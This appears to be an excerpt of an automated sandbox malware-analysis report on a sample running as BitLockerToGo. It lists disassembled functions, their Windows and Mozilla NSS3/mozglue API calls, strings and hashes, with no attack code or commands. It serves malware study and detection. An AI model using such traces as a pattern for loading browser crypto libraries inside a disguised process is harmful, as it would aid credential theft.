FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C7F3284,?,?,6C8156F6), ref: 6C7F357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C7F3284,?,?,6C8156F6), ref: 6C7F3592

Part of subcall function 6C82AB89: EnterCriticalSection.KERNEL32(6C87E370,?,?,?,6C7F34DE,6C87F6CC,?,?,?,?,?,?,?,6C7F3284), ref: 6C82AB94
Part of subcall function 6C82AB89: LeaveCriticalSection.KERNEL32(6C87E370,?,6C7F34DE,6C87F6CC,?,?,?,?,?,?,?,6C7F3284,?,?,6C8156F6), ref: 6C82ABD1

Strings

kernel32.dll, xrefs: 6C7F34EA
GetSystemTimePreciseAsFileTime, xrefs: 6C7F3508

Memory Dump Source

Source File: 00000001.00000002.2084369153.000000006C7F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7F0000, based on PE: true

Associated: 00000001.00000002.2084351279.000000006C7F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084421648.000000006C86D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084443046.000000006C87E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084461949.000000006C882000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c7f0000_BitLockerToGo.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: e1ff93cd942d837ee5a2ccc8015f424a228819c580b885dcf11abe2333de5aea
Instruction ID: c9520bf31992126ec0864cdd9f5aa2fa3a5d6f46aed89e0d90df8b6ffdb1e817
Opcode Fuzzy Hash: e1ff93cd942d837ee5a2ccc8015f424a228819c580b885dcf11abe2333de5aea
Instruction Fuzzy Hash: 18318171B001159BDF21DBB9CA8CAAE77B5FB96308F100439E515A3750F774A905CBB1

Function 6C95ECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6C95DE64), ref: 6C95ED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C95ED22

Part of subcall function 6C96B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CA418D0,?), ref: 6C96B095

PL_FreeArenaPool.NSS3(?), ref: 6C95ED4A
PL_FinishArenaPool.NSS3(?), ref: 6C95ED6B
PR_CallOnce.NSS3(6CA72AA4,6C9712D0), ref: 6C95ED38

Part of subcall function 6C894C70: TlsGetValue.KERNEL32(?,?,?,6C893921,6CA714E4,6C9DCC70), ref: 6C894C97
Part of subcall function 6C894C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C893921,6CA714E4,6C9DCC70), ref: 6C894CB0
Part of subcall function 6C894C70: PR_Unlock.NSS3(?,?,?,?,?,6C893921,6CA714E4,6C9DCC70), ref: 6C894CC9

SECOID_FindOID_Util.NSS3(?), ref: 6C95ED52
PR_CallOnce.NSS3(6CA72AA4,6C9712D0), ref: 6C95ED83
PL_FreeArenaPool.NSS3(?), ref: 6C95ED95
PL_FinishArenaPool.NSS3(?), ref: 6C95ED9D

Part of subcall function 6C9764F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6C97127C,00000000,00000000,00000000), ref: 6C97650E

Strings

security, xrefs: 6C95ED06

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: 7d85ad63e5b4e8ca8c7424e365b322e71cdd10bd3102e455a240c87bffbe4560
Instruction ID: bfa1b06bd8d8f0a21c013e0a5d9a45a32005c385287d52fe949c8a4c90b61187
Opcode Fuzzy Hash: 7d85ad63e5b4e8ca8c7424e365b322e71cdd10bd3102e455a240c87bffbe4560
Instruction Fuzzy Hash: 68116D359012186BEB209A25AC44FBB737CBF6160CF454534E85462E41F72AE52CC6F6

Function 6CA20EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6C902357), ref: 6CA20EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6C902357), ref: 6CA20EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6CA20EE6

Part of subcall function 6CA209D0: PR_Now.NSS3 ref: 6CA20A22
Part of subcall function 6CA209D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CA20A35
Part of subcall function 6CA209D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CA20A66
Part of subcall function 6CA209D0: PR_GetCurrentThread.NSS3 ref: 6CA20A70
Part of subcall function 6CA209D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CA20A9D
Part of subcall function 6CA209D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CA20AC8
Part of subcall function 6CA209D0: PR_vsmprintf.NSS3(?,?), ref: 6CA20AE8
Part of subcall function 6CA209D0: EnterCriticalSection.KERNEL32(?), ref: 6CA20B19
Part of subcall function 6CA209D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CA20B48
Part of subcall function 6CA209D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CA20C76
Part of subcall function 6CA209D0: PR_LogFlush.NSS3 ref: 6CA20C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6CA20EFA

Part of subcall function 6C90AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C90AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CA20F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CA20F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CA20F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CA20F2B

Strings

Assertion failure: %s, at %s:%d, xrefs: 6CA20ED9, 6CA20EE5, 6CA20F06, 6CA20F0B
Aborting, xrefs: 6CA20EB3

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: d2ab178578dababea7e95e596366af6a44132bcbb855581274fdb732cccf6d5c
Instruction ID: e95a6b32e053c291b9fd6d64ad4f5acd6d053fbb4607c00d3cdfa0a934a3ecda
Opcode Fuzzy Hash: d2ab178578dababea7e95e596366af6a44132bcbb855581274fdb732cccf6d5c
Instruction Fuzzy Hash: 7BF0C8B5900214BBDF047BA1DC49CAB3E3DDF42668F048024FD0956602EA39E96596F2

Function 6C984DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6C984DCB

Part of subcall function 6C970FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C9187ED,00000800,6C90EF74,00000000), ref: 6C971000
Part of subcall function 6C970FF0: PR_NewLock.NSS3(?,00000800,6C90EF74,00000000), ref: 6C971016
Part of subcall function 6C970FF0: PL_InitArenaPool.NSS3(00000000,security,6C9187ED,00000008,?,00000800,6C90EF74,00000000), ref: 6C97102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6C984DE1

Part of subcall function 6C9710C0: TlsGetValue.KERNEL32(?,6C918802,00000000,00000008,?,6C90EF74,00000000), ref: 6C9710F3
Part of subcall function 6C9710C0: EnterCriticalSection.KERNEL32(?,?,6C918802,00000000,00000008,?,6C90EF74,00000000), ref: 6C97110C
Part of subcall function 6C9710C0: PL_ArenaAllocate.NSS3(?,?,?,6C918802,00000000,00000008,?,6C90EF74,00000000), ref: 6C971141
Part of subcall function 6C9710C0: PR_Unlock.NSS3(?,?,?,6C918802,00000000,00000008,?,6C90EF74,00000000), ref: 6C971182
Part of subcall function 6C9710C0: TlsGetValue.KERNEL32(?,6C918802,00000000,00000008,?,6C90EF74,00000000), ref: 6C97119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6C984DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C984E59

Part of subcall function 6C96FAB0: free.MOZGLUE(?,-00000001,?,?,6C90F673,00000000,00000000), ref: 6C96FAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CA4300C,00000000), ref: 6C984EB8
SECOID_FindOID_Util.NSS3(?), ref: 6C984EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6C984F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C98521A

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: 6533aaaa486ba4f29960f485a5343c22f7f0573d9e0802d28b8a84deeefa045a
Instruction ID: c3eaae462f5bdf1db8b357554d4bf8629cb2cb8564426b8c53762adfdee22e59
Opcode Fuzzy Hash: 6533aaaa486ba4f29960f485a5343c22f7f0573d9e0802d28b8a84deeefa045a
Instruction Fuzzy Hash: F7F1BD71E02209CFEB08CF54D8507AEB7B6BF44358F258529E816AB781E735E985CF90

Function 6C7F4480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C834843,?), ref: 6C7F45F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C834843,?), ref: 6C7F468A
free.MOZGLUE(?,?,?,?,?,?,6C834843,?), ref: 6C7F46C9
free.MOZGLUE(?), ref: 6C7F46EF
free.MOZGLUE(?), ref: 6C7F4712
free.MOZGLUE(?), ref: 6C7F4735
free.MOZGLUE(?), ref: 6C7F4758
free.MOZGLUE(?), ref: 6C7F477B
free.MOZGLUE(?), ref: 6C7F479E

Memory Dump Source

Source File: 00000001.00000002.2084369153.000000006C7F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7F0000, based on PE: true

Associated: 00000001.00000002.2084351279.000000006C7F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084421648.000000006C86D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084443046.000000006C87E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084461949.000000006C882000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c7f0000_BitLockerToGo.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: fe7d0be043b8a1511e1a521a0d05019b499d6127552232882d25dd88671e4b6a
Instruction ID: 52e22d06cbbd973c127078d574c65d6effa1cb61dedfccbb41ea7d2f062ecf6d
Opcode Fuzzy Hash: fe7d0be043b8a1511e1a521a0d05019b499d6127552232882d25dd88671e4b6a
Instruction Fuzzy Hash: ABB10372A041158FDB189E7CCBD476D77B2AF42328F180638E836DBB96D73098419B91

Function 6C980C60 Relevance: 16.7, APIs: 11, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6C982C2A), ref: 6C980C81

Part of subcall function 6C96BE30: SECOID_FindOID_Util.NSS3(6C92311B,00000000,?,6C92311B,?), ref: 6C96BE44

Part of subcall function 6C958500: SECOID_GetAlgorithmTag_Util.NSS3(6C9595DC,00000000,00000000,00000000,?,6C9595DC,00000000,00000000,?,6C937F4A,00000000,?,00000000,00000000), ref: 6C958517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C980CC4

Part of subcall function 6C96FAB0: free.MOZGLUE(?,-00000001,?,?,6C90F673,00000000,00000000), ref: 6C96FAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C980CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6C980D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6C980D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6C980D7D
free.MOZGLUE(00000000), ref: 6C980DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C980DC1
free.MOZGLUE(00000000), ref: 6C980DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C980E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C980E0F

Part of subcall function 6C9595C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6C937F4A,00000000,?,00000000,00000000), ref: 6C9595E0
Part of subcall function 6C9595C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6C937F4A,00000000,?,00000000,00000000), ref: 6C9595F5
Part of subcall function 6C9595C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6C959609
Part of subcall function 6C9595C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C95961D
Part of subcall function 6C9595C0: PK11_GetInternalSlot.NSS3 ref: 6C95970B
Part of subcall function 6C9595C0: PK11_FreeSymKey.NSS3(00000000), ref: 6C959756
Part of subcall function 6C9595C0: PK11_GetIVLength.NSS3(?), ref: 6C959767
Part of subcall function 6C9595C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6C95977E
Part of subcall function 6C9595C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C95978E

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID:
API String ID: 3136566230-0
Opcode ID: 05f4047b09ff8ef946612f087f4b657f9baeed1c4acdb7cb07f3fe8c78e014a2
Instruction ID: cac5e7144acfd402442ea28dff9342ed35bb8d72184459125560443ebdf213d0
Opcode Fuzzy Hash: 05f4047b09ff8ef946612f087f4b657f9baeed1c4acdb7cb07f3fe8c78e014a2
Instruction Fuzzy Hash: D341B1B1902356ABEB009F65DC41BAF7A78AF2130CF105524E9196BB41E735EA14CBE2

Function 6C85AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C85AC52
CreateFileMappingW.KERNEL32 ref: 6C85AC7D
GetSystemInfo.KERNEL32 ref: 6C85AC98
MapViewOfFile.KERNEL32 ref: 6C85ACB0
GetSystemInfo.KERNEL32 ref: 6C85ACCD
MapViewOfFile.KERNEL32 ref: 6C85AD05
UnmapViewOfFile.KERNEL32 ref: 6C85AD1C
CloseHandle.KERNEL32 ref: 6C85AD28
UnmapViewOfFile.KERNEL32 ref: 6C85AD37
CloseHandle.KERNEL32 ref: 6C85AD43
CloseHandle.KERNEL32 ref: 6C85AD67

Memory Dump Source

Source File: 00000001.00000002.2084369153.000000006C7F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7F0000, based on PE: true

Associated: 00000001.00000002.2084351279.000000006C7F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084421648.000000006C86D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084443046.000000006C87E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084461949.000000006C882000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c7f0000_BitLockerToGo.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 598f1cc2a60b729ecef1714d454c1abb70fe872718df214a9954d84dabc10a96
Instruction ID: 2a4c3f86920f3ca8d8cba2d7d77850e7f243ef5972e2c33f7ce6d28b3f51bf7c
Opcode Fuzzy Hash: 598f1cc2a60b729ecef1714d454c1abb70fe872718df214a9954d84dabc10a96
Instruction Fuzzy Hash: 21314CB19047048FDB51AF79D68C2AEBBF1BF85309F01493DE99587311EB709498CBA2

Function 6C8B2E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6C8B2F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6C8B2FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6C8B3005
memcpy.VCRUNTIME140(?,?,?), ref: 6C8B30EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C8B3131
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C8B3178

Strings

%s at line %d of [%.10s], xrefs: 6C8B3171
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C8B3022, 6C8B3156, 6C8B3162, 6C8B318A, 6C8B3196, 6C8B31A2, 6C8B31AE, 6C8B31BA, 6C8B31C6
database corruption, xrefs: 6C8B316C

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
Opcode ID: 900e5dc1bbc8e040faf6e8e9f49066f4171c4b4059bebf6cf0a430915428326a
Instruction ID: 784318e0b0b4eba3edc5f7b1cf3558d8063736147169563f25850bc48b835ae1
Opcode Fuzzy Hash: 900e5dc1bbc8e040faf6e8e9f49066f4171c4b4059bebf6cf0a430915428326a
Instruction Fuzzy Hash: 13B19470E052199FCB29CF9DC984AEEB7B1BF48304F148429E849B7B45D7749D85CBA0

Function 6C916DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6C917D8F,6C917D8F,?,?), ref: 6C916DC8

Part of subcall function 6C96FDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6C96FE08
Part of subcall function 6C96FDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6C96FE1D
Part of subcall function 6C96FDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6C96FE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6C917D8F,?,?), ref: 6C916DD5

Part of subcall function 6C9710C0: TlsGetValue.KERNEL32(?,6C918802,00000000,00000008,?,6C90EF74,00000000), ref: 6C9710F3
Part of subcall function 6C9710C0: EnterCriticalSection.KERNEL32(?,?,6C918802,00000000,00000008,?,6C90EF74,00000000), ref: 6C97110C
Part of subcall function 6C9710C0: PL_ArenaAllocate.NSS3(?,?,?,6C918802,00000000,00000008,?,6C90EF74,00000000), ref: 6C971141
Part of subcall function 6C9710C0: PR_Unlock.NSS3(?,?,?,6C918802,00000000,00000008,?,6C90EF74,00000000), ref: 6C971182
Part of subcall function 6C9710C0: TlsGetValue.KERNEL32(?,6C918802,00000000,00000008,?,6C90EF74,00000000), ref: 6C97119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CA38FA0,00000000,?,?,?,?,6C917D8F,?,?), ref: 6C916DF7

Part of subcall function 6C96B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CA418D0,?), ref: 6C96B095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C916E35

Part of subcall function 6C96FDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6C96FE29
Part of subcall function 6C96FDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6C96FE3D
Part of subcall function 6C96FDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6C96FE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C916E4C

Part of subcall function 6C9710C0: PL_ArenaAllocate.NSS3(?,6C918802,00000000,00000008,?,6C90EF74,00000000), ref: 6C97116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CA38FE0,00000000), ref: 6C916E82

Part of subcall function 6C916AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6C91B21D,00000000,00000000,6C91B219,?,6C916BFB,00000000,?,00000000,00000000,?,?,?,6C91B21D), ref: 6C916B01
Part of subcall function 6C916AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6C916B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C916F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C916F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CA38FE0,00000000), ref: 6C916F6B
PR_SetError.NSS3(FFFFE005,00000000,6C917D8F,?,?), ref: 6C916FE1

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: 89911e971a83e6b3a46336248b2b683ec4aafcc773d4c863c0d23f7346fb45df
Instruction ID: cefa9582fdfb79ea412f56ca255adf1a4c1b2ef9611e671c7f225ea7ff8aacc0
Opcode Fuzzy Hash: 89911e971a83e6b3a46336248b2b683ec4aafcc773d4c863c0d23f7346fb45df
Instruction Fuzzy Hash: C7718E71D1424A9FEB00CF15CD51BAABBA8FFA4348F154269E848D7B11F770E9A4CB90

Function 6C95ADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6C93CDBB,?,6C93D079,00000000,00000001), ref: 6C95AE10
EnterCriticalSection.KERNEL32(?,?,6C93CDBB,?,6C93D079,00000000,00000001), ref: 6C95AE24
PR_Unlock.NSS3(?,?,?,?,?,?,6C93D079,00000000,00000001), ref: 6C95AE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C93CDBB,?,6C93D079,00000000,00000001), ref: 6C95AE6F
free.MOZGLUE(85145F8B,?,?,?,?,6C93CDBB,?,6C93D079,00000000,00000001), ref: 6C95AE7F
TlsGetValue.KERNEL32(?,6C93CDBB,?,6C93D079,00000000,00000001), ref: 6C95AEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C93CDBB,?,6C93D079,00000000,00000001), ref: 6C95AEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C93CDBB,?,6C93D079,00000000,00000001), ref: 6C95AEF1
free.MOZGLUE(6C93CDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6C93CDBB,?), ref: 6C95AF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C93CDBB,?,6C93D079,00000000,00000001), ref: 6C95AF30

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: dc7fd72e185d95c47fabb83868b811d09190e51db6fb69bb6a04132f4aba6630
